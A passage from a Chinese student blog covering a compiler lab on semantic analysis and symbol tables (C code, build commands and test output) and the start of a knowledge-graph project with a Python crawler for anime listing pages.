  var4 := temp1
  temp2 := #0
  var1 := temp2
LABEL label5 :
  temp3 := #1
  IF var4 > temp3 GOTO label4
  GOTO label3
LABEL label4 :
  temp4 := #1
  temp5 := var1 + temp4
  var1 := temp5
  GOTO label5
LABEL label3 :
  RETURN var1
LABEL label1 :

测试文件4：

int main(char c)
{
	int n = 8;
	int i;

	for(i=10;i<n;i++){
		n -= 2;
	}
	return i;
}

结果4：

FUNCTION main :
  PARAM var2
  temp1 := #8
  var3 := temp1
  temp2 := #10
  var4 := temp2
LABEL label4 :
  IF var4 < var3 GOTO label3
  GOTO label2
LABEL label3 :
  temp3 := #2
  var3 := var3 - temp3
  var4 := var4 + 1
  GOTO label4
LABEL label2 :
  RETURN var4
LABEL label1 :

编译原理-Lab2

Posted on 2023-03-19 Edited on 2023-03-20 In Knowledge 20k 18 mins.

第一个任务

用不同的样例覆盖语法规则，进行语义分析，遍历对应的 AST 树，发现语义的错误并输出到屏幕

建立符号表，并在合适的分析位置上进行输出符号表

需要特别注意以下两个问题：

符号表的管理：
- 符号表可以采用多种数据结构实现：顺序表，哈希表，十字链表，多表结构
- 符号表上的操作包括创建符号表、插入表项、查询表项、修改表项、删除表项、释放符号表空间等等
静态语义分析：
- 控制流检查：控制流语句必须使得程序跳转到合法的地方
- 唯一性检查：检查某些不能重复定义的对象或者元素（例如：同一作用域的标识符不能同名）
- 名字的上下文相关性检查：名字的出现在遵循作用域与可见性的前提下应该满足一定的上下文的相关性
- 类型检查：包括检查函数参数传递过程中形参与实参类型是否匹配，是否进行自动类型转换等

遍历 AST 树

AST 的遍历采用的是前序遍历（根左右），在遍历过程中：

访问到了说明部分的结点时，在符号表中添加新的内容
访问到执行语句部分时，根据访问的变量（或函数）名称查询符号表，并分析其静态语义的正确性

在上一个实验的 display 函数中已经实现了遍历的过程，AST 的节点结构体如下：

struct node { // 以下对结点属性定义没有考虑存储效率,只是简单地列出要用到的一些属性
    enum node_kind kind; // 结点类型
    union {
        char type_id[33]; // 由标识符生成的叶结点
        int type_int; // 由整常数生成的叶结点
        char type_char; // 由字符型生成的叶节点
        float type_float; // 由浮点常数生成的叶结点
    };
    struct node *ptr[3]; // 子树指针,由kind确定有多少棵子树
    int level; // 层号
    int place; // 表示结点对应的变量或运算结果临时变量在符号表的位置序号
    char Etrue[15],Efalse[15]; // 对布尔表达式的翻译时,真假转移目标的标号
    char Snext[15]; // 该结点对应语句执行后的下一条语句位置标号
    struct codenode *code; // 该结点中间代码链表头指针
    char op[10];
    int type; // 结点对应值的类型
    int pos; // 语法单位所在位置行号
    int offset; // 偏移量
    int width; // 各种数据占用的字节数
};

符号表

用结构体 symbol 来组织符号表信息：

typedef struct symbol {
    char name[33]; // 变量或函数名
    int level; // 层号,外部变量名或函数名层号为0,形参名为1,每到1个复合语句层号加1,退出减1
    int type; // 变量类型或函数返回值类型
    int paramnum; // 形式参数个数
    char alias[10]; // 别名,为解决嵌套层次使用,使得每一个数据名称唯一
    char flag; // 符号标记,函数:'F',变量:'V',参数:'P',临时变量:'T'
    char offset; // 外部变量和局部变量在其静态数据区或活动记录中的偏移量,或函数活动记录大小,目标代码生成时使用
};

管理符号表的核心数据结构为顺序栈：

typedef struct symboltable{
    struct symbol symbols[MAXLENGTH];
    int index; // index初值为0
}SYMBOLTABLE;

当遇到复合语句 COMP_STM 时，symboltable.symbols 会记录该作用域中的局部变量
当退出复合语句 COMP_STM 时，可以通过修改 symboltable.index 来忽略局部变量
因此需要一个格外的栈来记录程序进入 COMP_STM 前的 symboltable.index

typedef struct symbol_scope_begin {
  int TX[30];
  int top;
}SYMBOL_SCOPE_TX;

当遇到复合语句 COMP_STM 时，symboltable.index 压栈
当退出复合语句 COMP_STM 时，symboltable.index 弹出

显示符号表的代码如下：

void DisplaySymbolTable()
{
    int i;
    printf("\t\t***Symbol Table***\n");
    printf("---------------------------------------------------\n");
    printf("%s\t%s\t%s\t%s\t%s\t%s\n","Index","Name","Level",
           "Type","Flag","Param_num");
    printf("---------------------------------------------------\n");
    for(i=0;i<new_table.index;i++){
        printf("%d\t",i);
        printf("%s\t",new_table.symbols[i].name);
        printf("%d\t",new_table.symbols[i].level);
        if(new_table.symbols[i].type==INT)
               printf("%s\t","int");
        else if(new_table.symbols[i].type==FLOAT)
            printf("%s\t","float");
        else
            printf("%s\t","char");
        printf("%c\t",new_table.symbols[i].flag);
        if(new_table.symbols[i].flag=='F')
            printf("%d\n",new_table.symbols[i].paramnum);
        else
            printf("\n");
    }
    printf("---------------------------------------------------\n");
    printf("\n");
}

作用域

在语义分析过程中，各个变量名有其对应的作用域，并且一个作用域内不允许名字重复

通过层号 level 来管理，level 的初始值为 “0”
在处理外部变量名以及函数名时，对应符号的层号值固定为 “0”
处理函数形式参数时，固定形参名在填写符号表时，层号值固定为 1”
每到一个复合语句，则层号 level 加“1”，退出时减“1”

通过 symboltable 和 symbol_scope_begin 这两个栈结构的配合，就可以实现作用域的变量区分

具体的代码如下：

case COMP_STM:
    flag='T';
    command=0;
    new_scope.TX[new_scope.top]=new_table.index; /* index压栈 */
    new_scope.top++;
    Semantic_Analysis(T->ptr[0],type,level,flag,command); // 分析定义列表
    command=1;
    Semantic_Analysis(T->ptr[1],type,level+1,flag,command); // 分析语句列表
    DisplaySymbolTable(); /* 显示符号表 */
    new_table.index=new_scope.TX[new_scope.top-1]; /* index弹出 */
    new_scope.top--;
    if (new_scope.top == 0)
        DisplaySymbolTable(); /* 显示符号表 */

分析定义列表和语句列表时会向 symboltable 添加新的条目，同时进行报错分析（检查是否重复，是否合法等）
在分析完成之后 symboltable.index 会进行更新，此时 symboltable 中新添加的条目会被弃用
这样处理之后，同级语句块之间的分析过程不会相互干扰（父层还是会影响子层的分析）

定义与使用

核心函数的声明如下：

1	int Semantic_Analysis(struct node* T,int type,int level,char flag,int command)

其中最后一个参数 command 就是用来决定是“定义”还是“使用”

通过上述代码也可以看出来：

case COMP_STM:
    flag='T';
    command=0;
	.....
    Semantic_Analysis(T->ptr[0],type,level,flag,command); // 分析定义列表
    command=1;
    Semantic_Analysis(T->ptr[1],type,level+1,flag,command); // 分析语句列表
	.....

在一个语句块中：
- 前面所有的变量都会被当做“定义”
- 后面所有的变量都会被当做“使用”
这样写的话会有一些问题，在如下代码中：

1 2	int a1=1; int a2=a1;

程序会把 a1 当成“定义”，从而去遍历符号表造成冲突
如果对赋值语句 ASSIGNOP 进行特殊处理又会出现其他的 BUG（主要是因为该程序采用递归的方法来遍历 AST，如果一个地方特殊处理，会导致很多地方发生连锁反应）

报错分析

常见错误类型如下：

变量在使用时未定义
函数在调用时为经定义
变量出现重复定义或变量域前面定义过的其它语法结构重名
函数出现重复定义
赋值号两边的表达式类型不匹配
赋值号左边只有一个右值的表达式（包括：赋值号右边无值）
操作数类型不匹配或操作数类型域操作符不撇皮（例如：整形变量域数组变量相加减）
return 语句的返回类型域函数定义的返回类型不匹配
函数调用时实参或形参的数目或类型不匹配

大概可以分为两类：重复定义，使用时未定义，类型不匹配

判断前两点都比较好实现：

重复定义：我们只需要在新的符号进入符号表 symboltable 之前，先判断它是否已经存在于符号表中
使用时未定义：在使用某个符号时，先遍历符号表 symboltable 看看它是否存于其中

详细代码如下：

case ID: // 检测新的变量名是否唯一
    i=0;
    while(new_table.symbols[i].level!=level&&i<new_table.index) // 转到相同作用域
        i++;
    if(command==0){ // 定义变量
        while(i<new_table.index){ /* 遍历并判断是否相同 */
            if(strcmp(new_table.symbols[i].name,T->type_id)==0 && new_table.symbols[i].flag==flag){
                if(flag=='V')
                    printf("ERROR！第%d行：全局变量中出现相同变量名%s\n",T->pos,T->type_id);
                else if(flag=='F')
                    printf("ERROR！第%d行：函数定义中出现了相同的函数名%s\n",T->pos,T->type_id);
                else if(flag=='T')
                    printf("ERROR！第%d行：局部变量中出现了相同的变量名%s\n",T->pos,T->type_id);
                else
                    printf("ERROR！第%d行：函数参数中中出现了相同的变量名%s\n",T->pos,T->type_id);
                return 0;
            }
            i++;
        } /* 若不同则可以加入 */
        strcpy(new_table.symbols[new_table.index].name,T->type_id);
        new_table.symbols[new_table.index].level=level;
        new_table.symbols[new_table.index].type=type;
        new_table.symbols[new_table.index].flag=flag;
        new_table.index++;
        return new_table.symbols[i].type; /* 这里需要返回类型(类型匹配时有用) */
    }
    else{ // 使用变量
        i=new_table.index-1;
        while(i>=0){ /* 遍历并判断是否出现 */
            if(strcmp(new_table.symbols[i].name,T->type_id)==0&&
               (new_table.symbols[i].flag=='V'||
                new_table.symbols[i].flag=='T'||
                new_table.symbols[i].flag=='P')){
                return new_table.symbols[i].type;
            }
            i--;
        }
        if(i<0){
            printf("ERROR！第%d行：变量名%s未定义\n",T->pos,T->type_id);
        }
    }
    break;

对于函数的定义和调用，同样也需要遍历符号表：

case FUNC_CALL:
    j=0;
    while(new_table.symbols[j].level==0&&j<new_table.index){
        if(strcmp(new_table.symbols[j].name,T->type_id)==0){
            if(new_table.symbols[j].flag!='F')
                printf("ERROR！第%d行：函数名%s在符号表中定义为变量\n",T->pos,T->type_id);
            break;
        }
        j++;
    }
    if(new_table.symbols[j].level==1||j==new_table.index){
        printf("ERROR！第%d行：函数%s未定义\n",T->pos,T->type_id);
        break;
    }
    type=new_table.symbols[j+1].type;
    counter=0;
    Semantic_Analysis(T->ptr[0],type,level,flag,command); // 分析参数
    if(new_table.symbols[j].paramnum!=counter)
        printf("ERROR！第%d行：函数调用%s参数个数不匹配\n",T->pos,T->type_id);
    return new_table.symbols[j].type;
    break;

最后注意返回该函数的返回类型（为了后续的类型匹配）

类型不匹配则要分为以下几种情况：

赋值语句类型不匹配（暂时不考虑自动类型转换）
函数调用的参数类型不匹配
函数调用的返回值不匹配

详细代码如下：

case ASSIGNOP:
case OR:
case AND:
case RELOP:
case PLUS:
case MINUS:
case STAR:
case DIV:
case COMADD:
case COMSUB:
    type1=Semantic_Analysis(T->ptr[0],type,level,flag,command);
    type2=Semantic_Analysis(T->ptr[1],type,level,flag,command);
    if(type1==type2)
        return type1;
    else
        printf("ERROR！第%d行：赋值类型不匹配\n",T->pos);
    break;

这里有个小细节需要注意：int a=1; 和 int a; a=1; 是不同的
第一种情况是函数 Semantic_Analysis 执行时，a 没有在符号表中
第二种情况是函数 Semantic_Analysis 执行时，a 已经在符号表中
对于这两种情况都要返回 a 的类型 new_table.symbols[i].type

case ARGS:
    counter++;
    t=Semantic_Analysis(T->ptr[0],type,level,flag,command);
    if(type!=t)
        printf("ERROR！第%d行：函数调用的第%d个参数类型不匹配\n",T->pos,counter);
    type=new_table.symbols[j+counter+1].type;
    Semantic_Analysis(T->ptr[1],type,level,flag,command);
    break;

函数参数的类型匹配需要借助全局变量 counter 来定位

符号表构建

接下来的工作就是针对不同的节点类型来执行对应的操作，主要还是通过递归来遍历 AST 中的各个节点

完整代码如下：

int Semantic_Analysis(struct node* T,int type,int level,char flag,int command)
{
    int type1,type2;
    if(T){
        switch(T->kind){
            case EXT_DEF_LIST:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case EXT_VAR_DEF://外部变量声明
                type=Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case ARRAY_DEF:
                type = Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case ARRAY_DEC:
                flag = 'A';//Array
                strcpy(new_table.symbols[new_table.index].name,T->type_id);
                new_table.symbols[new_table.index].level=level;
                new_table.symbols[new_table.index].type=type;
                new_table.symbols[new_table.index].flag=flag;
                new_table.index++;
                break;
            case TYPE:
                return T->type;
            case EXT_DEC_LIST:
                flag='V';
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case ID://检测新的变量名是否唯一
                i=0;
                while(new_table.symbols[i].level!=level&&i<new_table.index)//转到相同作用域
                    i++;
                if(command==0){//定义变量
                    while(i<new_table.index){
                        if(strcmp(new_table.symbols[i].name,T->type_id)==0 && new_table.symbols[i].flag==flag){
                            if(flag=='V')
                                printf("ERROR！第%d行：全局变量中出现相同变量名%s\n",T->pos,T->type_id);
                            else if(flag=='F')
                                printf("ERROR！第%d行：函数定义中出现了相同的函数名%s\n",T->pos,T->type_id);
                            else if(flag=='T')
                                printf("ERROR！第%d行：局部变量中出现了相同的变量名%s\n",T->pos,T->type_id);
                            else
                                printf("ERROR！第%d行：函数参数中中出现了相同的变量名%s\n",T->pos,T->type_id);
                            return 0;
                        }
                        i++;
                    }
                    strcpy(new_table.symbols[new_table.index].name,T->type_id);
                    new_table.symbols[new_table.index].level=level;
                    new_table.symbols[new_table.index].type=type;
                    new_table.symbols[new_table.index].flag=flag;
                    new_table.index++;
                    return new_table.symbols[i].type;
                }
                else{//使用变量
                    i=new_table.index-1;
                    while(i>=0){
                        if(strcmp(new_table.symbols[i].name,T->type_id)==0&&(new_table.symbols[i].flag=='V'||new_table.symbols[i].flag=='T'||new_table.symbols[i].flag=='P')){
                            return new_table.symbols[i].type;
                        }
                        i--;
                    }
                    if(i<0){
                        printf("ERROR！第%d行：变量名%s未定义\n",T->pos,T->type_id);
                    }
                }
                break;
            case FUNC_DEF://函数声明
                type=Semantic_Analysis(T->ptr[0],type,level+1,flag,command);
                Semantic_Analysis(T->ptr[1],type,1,flag,command);
                Semantic_Analysis(T->ptr[2],type,1,flag,command);
                break;
            case FUNC_DEC:
                strcpy(new_table.symbols[new_table.index].name,T->type_id);
                new_table.symbols[new_table.index].level=0;
                new_table.symbols[new_table.index].type=type;
                new_table.symbols[new_table.index].flag='F';
                new_table.index++;
                counter=0;
                Semantic_Analysis(T->ptr[0],type,level,flag,command);//函数形参
                new_table.symbols[new_table.index - counter - 1].paramnum=counter;
                break;
            case PARAM_LIST:
                counter++;
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case PARAM_DEC:
                flag='P';
                type=Semantic_Analysis(T->ptr[0],type,level+1,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case COMP_STM:
                flag='T';
                command=0;
                new_scope.TX[new_scope.top]=new_table.index;
                new_scope.top++;
                Semantic_Analysis(T->ptr[0],type,level,flag,command);//分析定义列表
                command=1;
                Semantic_Analysis(T->ptr[1],type,level+1,flag,command);//分析语句列表
                DisplaySymbolTable();
                new_table.index=new_scope.TX[new_scope.top-1];
                new_scope.top--;
                if (new_scope.top == 0)
                    DisplaySymbolTable();
                break;
            case DEF_LIST:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case VAR_DEF:
                type=Semantic_Analysis(T->ptr[0],type,level+1,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case DEC_LIST:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case STM_LIST:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);//第一个语句
                Semantic_Analysis(T->ptr[1],type,level,flag,command);//其他语句
                break;
            case EXP_STMT:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                break;
            case RETURN:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                break;
            case IF_THEN:
            case WHILE:
            case FOR:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
            case IF_THEN_ELSE:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                Semantic_Analysis(T->ptr[2],type,level,flag,command);
                break;
            case ASSIGNOP:
            case OR:
            case AND:
            case RELOP:
            case PLUS:
            case MINUS:
            case STAR:
            case DIV:
            case COMADD:
            case COMSUB:
                type1=Semantic_Analysis(T->ptr[0],type,level,flag,command);
                type2=Semantic_Analysis(T->ptr[1],type,level,flag,command);
                if(type1==type2)
                    return type1;
                else
                    printf("ERROR！第%d行：赋值类型不匹配\n",T->pos);
                break;
            case AUTOADD_L:
            case AUTOSUB_L:
            case AUTOADD_R:
            case AUTOSUB_R:
                Semantic_Analysis(T->ptr[0],type,level,flag,command);
                break;
            case INT:
                return INT;
            case FLOAT:
                return FLOAT;
            case CHAR:
                return CHAR;
            case FUNC_CALL:
                j=0;
                while(new_table.symbols[j].level==0&&j<new_table.index){
                    if(strcmp(new_table.symbols[j].name,T->type_id)==0){
                        if(new_table.symbols[j].flag!='F')
                            printf("ERROR！第%d行：函数名%s在符号表中定义为变量\n",T->pos,T->type_id);
                        break;
                    }
                    j++;
                }
                if(new_table.symbols[j].level==1||j==new_table.index){
                    printf("ERROR！第%d行：函数%s未定义\n",T->pos,T->type_id);
                    break;
                }
                type=new_table.symbols[j+1].type;
                counter=0;
                Semantic_Analysis(T->ptr[0],type,level,flag,command);//分析参数
                if(new_table.symbols[j].paramnum!=counter)
                    printf("ERROR！第%d行：函数调用%s参数个数不匹配\n",T->pos,T->type_id);
                return new_table.symbols[j].type;
                break;
            case ARGS:
                counter++;
                t=Semantic_Analysis(T->ptr[0],type,level,flag,command);
                if(type!=t)
                    printf("ERROR！第%d行：函数调用的第%d个参数类型不匹配\n",T->pos,counter);
                type=new_table.symbols[j+counter+1].type;
                Semantic_Analysis(T->ptr[1],type,level,flag,command);
                break;
        }
    }
    return 0;
}

编译与结果

1
2
3

flex lexer.l
bison -d -v parser.y 
gcc display.c parser.tab.c lex.yy.c -lfl -o test1

测试文件：

int a,b,c;
float m,n;
char c1,c2;
char h[10];

float a,b;//全局变量中出现相同变量名

int fibo(int a)
{
	int i;
        int haha;
	if(a == 1 || a == 2){
	  return 1;
        }
	for(i<15){
          i++;
	}
        
        j = i+1;//无定义错误
        haha(c);//未定义的函数
        a = fibo(1,2);//参数个数不匹配
        b = fibo(m);//参数类型不匹配
	
        return fibo(a-1)+fibo(a-2);
}

int h1(int a, int a){}//出现了相同函数参数

int h2(){int hah; float hah;}//局部变量名出现了相同的变量名

float h1(){}//重复的函数名

最终结果：

 外部变量定义：
     类型：int
     变量名：
          ID： a
          ID： b
          ID： c
 外部变量定义：
     类型：float
     变量名：
          ID： m
          ID： n
 外部变量定义：
     类型：char
     变量名：
          ID： c1
          ID： c2
 数组定义：
     类型：char
     数组名：h
     数组大小：
          INT： 10
 外部变量定义：
     类型：float
     变量名：
          ID： a
          ID： b
 函数定义：
     类型：int
     函数名：fibo
     函数型参：
          类型：int
          ID： a
     复合语句：
          复合语句的变量定义：
               局部变量名：
                    类型：int
                    变量名：
                         ID： i
               局部变量名：
                    类型：int
                    变量名：
                         ID： haha
          复合语句的语句部分：
               条件语句（if-else）：
               条件：
                    OR
                         ==
                              ID： a
                              INT： 1
                         ==
                              ID： a
                              INT： 2
               IF语句：
                    复合语句：
                         复合语句的变量定义：
                         复合语句的语句部分：
                              返回语句：
                                   INT： 1
               循环语句（for）：
                    循环条件：
                    <
                         ID： i
                         INT： 15
                    循环体：
                    复合语句：
                         复合语句的变量定义：
                         复合语句的语句部分：
                              表达式语句：
                                   AUTOADD
                                        ID： i
               表达式语句：
                    ASSIGNOP
                         ID： j
                         PLUS
                              ID： i
                              INT： 1
               表达式语句：
                    函数调用：
                         函数名：haha
                         第一个实际参数表达式：
                              ID： c
               表达式语句：
                    ASSIGNOP
                         ID： a
                         函数调用：
                              函数名：fibo
                              第一个实际参数表达式：
                                   INT： 1
                                        INT： 2
               表达式语句：
                    ASSIGNOP
                         ID： b
                         函数调用：
                              函数名：fibo
                              第一个实际参数表达式：
                                   ID： m
               返回语句：
                    PLUS
                         函数调用：
                              函数名：fibo
                              第一个实际参数表达式：
                                   MINUS
                                        ID： a
                                        INT： 1
                         函数调用：
                              函数名：fibo
                              第一个实际参数表达式：
                                   MINUS
                                        ID： a
                                        INT： 2
 函数定义：
     类型：int
     函数名：h1
     函数型参：
          类型：int
          ID： a
          类型：int
          ID： a
     复合语句：
          复合语句的变量定义：
          复合语句的语句部分：
 函数定义：
     类型：int
     函数名：h2
     函数型参：
     复合语句：
          复合语句的变量定义：
               局部变量名：
                    类型：int
                    变量名：
                         ID： hah
               局部变量名：
                    类型：float
                    变量名：
                         ID： hah
          复合语句的语句部分：
 函数定义：
     类型：float
     函数名：h1
     函数型参：
     复合语句：
          复合语句的变量定义：
          复合语句的语句部分：
ERROR！第6行：全局变量中出现相同变量名a
ERROR！第6行：全局变量中出现相同变量名b
		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	1
9	a	1	int	P	
10	i	1	int	T	
11	haha	1	int	T	
---------------------------------------------------

		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	1
9	a	1	int	P	
10	i	1	int	T	
11	haha	1	int	T	
---------------------------------------------------

ERROR！第21行：变量名j未定义
ERROR！第21行：赋值类型不匹配
ERROR！第22行：函数haha未定义
ERROR！第23行：函数调用fibo参数个数不匹配
ERROR！第23行：赋值类型不匹配
ERROR！第24行：函数调用的第1个参数类型不匹配
ERROR！第24行：赋值类型不匹配
		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	1
9	a	1	int	P	
10	i	1	int	T	
11	haha	1	int	T	
---------------------------------------------------

		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	1
9	a	1	int	P	
---------------------------------------------------

ERROR！第29行：函数参数中中出现了相同的变量名a
ERROR！第29行：函数参数中中出现了相同的变量名a
		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	2
9	a	1	int	P	
10	h1	0	int	F	0
---------------------------------------------------

		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	2
9	a	1	int	P	
10	h1	0	int	F	0
---------------------------------------------------

ERROR！第31行：局部变量中出现了相同的变量名hah
		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	2
9	a	1	int	P	
10	h1	0	int	F	0
11	h2	0	int	F	0
12	hah	1	int	T	
---------------------------------------------------

		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	2
9	a	1	int	P	
10	h1	0	int	F	0
11	h2	0	int	F	0
---------------------------------------------------

		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	2
9	a	1	int	P	
10	h1	0	int	F	0
11	h2	0	int	F	0
12	h1	0	float	F	0
---------------------------------------------------

		***Symbol Table***
---------------------------------------------------
Index	Name	Level	Type	Flag	Param_num
---------------------------------------------------
0	a	0	int	V	
1	b	0	int	V	
2	c	0	int	V	
3	m	0	float	V	
4	n	0	float	V	
5	c1	0	char	V	
6	c2	0	char	V	
7	h	0	char	A	
8	fibo	0	int	F	2
9	a	1	int	P	
10	h1	0	int	F	0
11	h2	0	int	F	0
12	h1	0	float	F	0
---------------------------------------------------

知识图谱实践项目四

Posted on 2023-03-17 In Knowledge Graph 14k 12 mins.

知识图谱实践项目四

对爬虫和知识图谱进行了简单的升级，扩展了爬取的信息

爬虫：

# -*- coding: utf-8 -*-#

import os
from time import sleep
from lxml import etree
import requests, re
from urllib.parse import urljoin, urlencode
from bs4 import BeautifulSoup

headers = {
    'Accept': '',
    'Cookie': '',
    'User-Agent': ''
}

class Crawler:
    target_url = 'https://www.bnacg.com/dm/list_1_'
    base_url = ''
    name_file = 0
    platform_file = 0
    seiyuu_file = 0
    classify_file = 0
    role_name_file = 0
    role_img_file = 0
    author_file = 0
    content_file = 0

    def get_base_html(self,url):
        res = requests.get(url,headers)
        text = res.text.encode('ISO-8859-1').decode('utf-8')
        return text

    def create_list(self):
        base_html = self.get_base_html(self.base_url)
        soup = BeautifulSoup(base_html, 'html.parser')
        html = soup.findAll("ul", {"class": "result-list"})
        url_list = re.findall('<a class="img-wrap" href="(.*?)" rel="nofollow"', str(html))

        name_list = []
        name_img_list = []
        author_list = []
        role_img_list = []
        role_name_list = []
        classify_list = []
        seiyuu_list =[]
        platform_list = []
        content_list = []
        role_content_list = []
        time_list = []

        for url in url_list:
            url_html = self.get_base_html(url)

            name = re.findall('<div class="ts18 bold"> (.*?) /', str(url_html))
            classify = re.findall('<div class="rw_ju"> <span class="bold">类型：</span>(.*?)</div>',url_html)
            role_name = re.findall('title="(.*?)" alt="',url_html)
            role_img = re.findall('<img src="(.*?)" title="',url_html)
            name_img = re.findall('<img src="(.*?)" alt="',url_html)
            seiyuu = re.findall('<div class="rw_ju"> <span class="bold">人物配音：</span>(.*?)</div>',url_html)
            author = re.findall('<dd class="canshu value">(.*?)</dd>',url_html)
            role_content = re.findall('：</span>(.*?)</div>',url_html)
            content = []

            soup = BeautifulSoup(url_html, 'html.parser')
            div = soup.find("div", {"class": "juqing"})
            p = div.findChildren("p", {"style": ""},recursive=False)

            for i in range(len(p)):
                p[i] = re.sub('<strong>(.*?)</strong>',"",str(p[i]))
                content.append(str(p[i]).replace("\u3000","").replace("\r","").replace("\n","").replace("\t","")[3:-4])

            for i in range(len(role_name)):
                role_name[i] = str(role_name[i]).replace(" ","")

            for i in range(len(role_content)):
                role_content[i] = str(role_content[i]).replace(' ', '')

            del role_content[0: 7]
            time = role_content[0]
            role_content.pop(0)

            name_list.append(name[0])
            role_img_list.append(role_img[1:])
            role_name_list.append(role_name)
            if (len(author)<4):
                author=["无","无","无","无"]
            author_list.append(author[2])
            platform_list.append(author[3])
            seiyuu_list.append(seiyuu)
            content_list.append(content)
            name_img_list.append(name_img[0])
            role_content_list.append(role_content)
            time_list.append(time)

            if(len(classify) != 0):
                classify_list.append(classify[0].split(','))

        #for i in list(zip(name_list,author_list,platform_list,classify_list,seiyuu_list,role_name_list,role_img_list)):
            #print(i)

        for i in range(len(name_list)):
            self.name_file.write(str(name_list[i].replace('《', '').replace('》', '')) + "\n")
            self.author_file.write(str(author_list[i].replace(' ','')) + "\n")
            self.platform_file.write(str(platform_list[i].replace(' ','')) + "\n")
            self.classify_file.write(str(classify_list[i])[1:-1].replace('\'','').replace(',','') + "\n")
            self.seiyuu_file.write(str(seiyuu_list[i])[1:-1].replace('\'', '').replace(',', '') + "\n")
            self.role_name_file.write(str(role_name_list[i])[1:-1].replace('\'', '').replace(',', '') + "\n")
            self.role_img_file.write(str(role_img_list[i])[1:-1].replace('\'', '').replace(',', '') + "\n")
            self.content_file.write(str(content_list[i])[1:-1].replace('\'', '').replace(',', '') + "\n")
            self.name_img_file.write(str(name_img_list[i].replace(' ','')) + "\n")
            self.time_file.write(str(time_list[i].replace(' ','')) + "\n")
            self.role_content_file.write(str(role_content_list[i])[1:-1].replace('\'', '').replace(',', '') + "\n")

    def run(self):
        self.name_file = open('data/name.txt', 'w', encoding='utf8')
        self.author_file = open('data/author.txt', 'w', encoding='utf8')
        self.role_name_file = open('data/role_name.txt', 'w', encoding='utf8')
        self.role_img_file = open('data/role_img.txt', 'w', encoding='utf8')
        self.platform_file = open('data/platform.txt', 'w', encoding='utf8')
        self.seiyuu_file = open('data/seiyuu.txt', 'w', encoding='utf8')
        self.classify_file = open('data/classify.txt', 'w', encoding='utf8')
        self.content_file = open('data/content.txt','w',encoding='utf8')
        self.name_img_file = open('data/name_img.txt','w',encoding='utf8')
        self.role_content_file = open('data/role_content.txt','w',encoding='utf8')
        self.time_file = open('data/time.txt','w',encoding='utf8')

        for i in range(57):
            self.base_url = self.target_url + str(i+1) + ".html"
            print("Now is: " + self.base_url)
            self.create_list()

    def test(self):
        res = requests.get(self.target_url, headers)
        print(res.encoding)

if __name__ == '__main__':
    cra = Crawler()
    cra.run()

知识图谱：

# -*- coding: utf-8 -*-#

from py2neo import Graph,Node,Relationship
import os

